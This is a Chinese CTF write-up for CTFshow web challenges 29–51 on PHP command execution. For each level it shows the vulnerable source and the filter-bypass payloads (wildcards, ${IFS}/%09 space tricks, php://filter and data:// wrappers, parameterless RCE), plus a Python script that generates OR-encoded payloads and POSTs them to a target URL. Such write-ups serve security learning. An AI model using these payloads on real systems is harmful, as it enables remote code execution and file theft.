CTFshow web(29-51) 命令执行

[命令绕过,异或绕过,伪协议]

持续更新

web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);#不输出错误
if(isset($_GET['c'])){   #接受参数
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   #没有匹配到/flag就执行eval($c):
        eval($c);    # 知识点:eval() php命令执行函数。
    }
    
}else{
    highlight_file(__FILE__); 
}

了解函数:

preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

知识点:

1.linux通配符绕过:*匹配任意字符串/文本,包括空字符串。如 ls list -> ls l*. ?匹配任意一个字符(不在括号内时)

2.[abcd]正则 表示匹配[ ] 里的任何一个字符abcd

3.[a-z] 匹配a-z的任意字符

4.拼接字符串cat file.txt == ca't' f'i'le.txt

5.换行符绕过:cat file.txt = cat f\ile.txt

最终palyload: ?c=system('cat f*');

web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){  #多禁用
一些关键词
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

禁用了system这个命令执行函数但是我们还有几个常用的函数可以实现一样的功能

system() : passthru() : exec() :shell_exec() :popen() :proc_open() :pcntl_exec() 反引号 同shell_exec():

以上函数详细用法可以看看这篇博客:https://www.jb51.net/article/104690.htm

以上得到palyload:?c=passthru('cat f*'); 或者c=echo `cat f*`;

web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){  #过滤了空格,小数点,升序函数,以及一个查看的命令
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

知识点:

在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

在linux中与cat有类似功能的有如下字符 cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev ,/**/,%09太多了随便找个替换

理论:payload: ?c=echo/**/`tac/**/*`或者?c=echo${IFS}`tac${IFS}f*`

但是并没有用:

最终payload:

web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里最关键的禁用了分号,我们知道php一段函数结尾必须要有";"

如:system('ls'); , echo `ls`;

知识点:

1.<php? include$_POST[a] ?> 使用?> 闭合php,在里面构造一个新的POST请求,我们在数据post部分调用构造出的a。

2.php伪协议:

php://filter/read=convert.base64-encode/resource=*** 进行文件读取

伪协议详细请看:php伪协议总结 - My_Dreams - 博客园

于是:

payload: ?c=include$_POST[a]?> post: a= php://filter/read=convert.base64-encode/resource= flag.php

得到base64编码的flag

百度base64解码:

web33-36 都可以用上一题的方法做出来就不做赘述。

wen37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

eval函数换成了include,这个函数会包含文件内容。

知识点:伪协议

file://协议
用于访问本地文件系统,在CTF中通常用来读取本地文件
示例:http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php://协议
php:// 访问各个输入/输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
示例1:php://filter/read=convert.base64-encode/resource=[文件名]
示例2:http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
data://协议
通常可以用来执行PHP代码
示例1:http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
示例2:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

data://text/plain, 将内容封装成一个文件,后半部分为写入的数据,可以构造命令执行,把执行后的结果经过data数据流封装,再传递给include进行读取。

payload: ?c=data:text/plain,<?= system('tac f*');?>

web38一样的解法,换一个查看文件的命令

web39一样的解法,<?php 换成<?=

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这次过滤了很多东西前面的都不能用了,但是他给出了一个eval函数.可以使用无参rce

知识点:

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

打印当前目录文件:

?c=print_r(scandir(current(localeconv())));

flag.php在下标为3的数组里,current默认读取第一个元素值所以用到以下知识点:

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

最终payload:

?c=show_source(next(array_reverse(scandir(getcwd()))));(指针向前.flag变成3,经过倒序flag变成0就是第一位。所以读取成功)

web41

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

看似禁用了这么多字符,我们无法再操作任何字符。但其实还有别的办法

运算符绕过:或运算

python脚本:

import requests
import urllib
import re
from sys import *

if (len(argv) != 2):
    print("=" * 50)
    print("请输入url")
    print("input exit in function")
    print("=" * 50)
    exit(0)
url = argv[1]


# 生成可用的字符
def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('rce.txt', 'w')
    f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    print(output)
    return (output)



def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param = action(s1) + action(s2)
        print(param)
        data = {
            'c': urllib.parse.unquote(param)
        }
        a = requests.post(url, data=data)
        print("\n[*] result:\n" + a.text)


main()

web42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

知识点: /dev/null 相当于数据销毁站,会把执行的命令通过>重定向进/null

payload: ?c=cat flag.php;ls

;分隔命令,ls的结果被输出到.null,cat被执行输出

web43

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了字数匹配过滤分号被过滤了

新姿势: || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"

payload: ?c=tac flag.php||ls

web44


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=tac f*.php||ls

通配符代替

web45

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

考察空格代替

?c=nl${IFS}f???????||ls

we46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=nl%09f???????||ls

通配符代替,空格代替

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

linux命令掌握

?c=nl%09f???????||ls

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl%09f???????||ls 十六进制的空格因该也是可以

差不多的套路

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl<f''lag.php||ls

字符串拼接后还是完整的f‘’lag.php==flag.php

web51

题解与上题一致

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值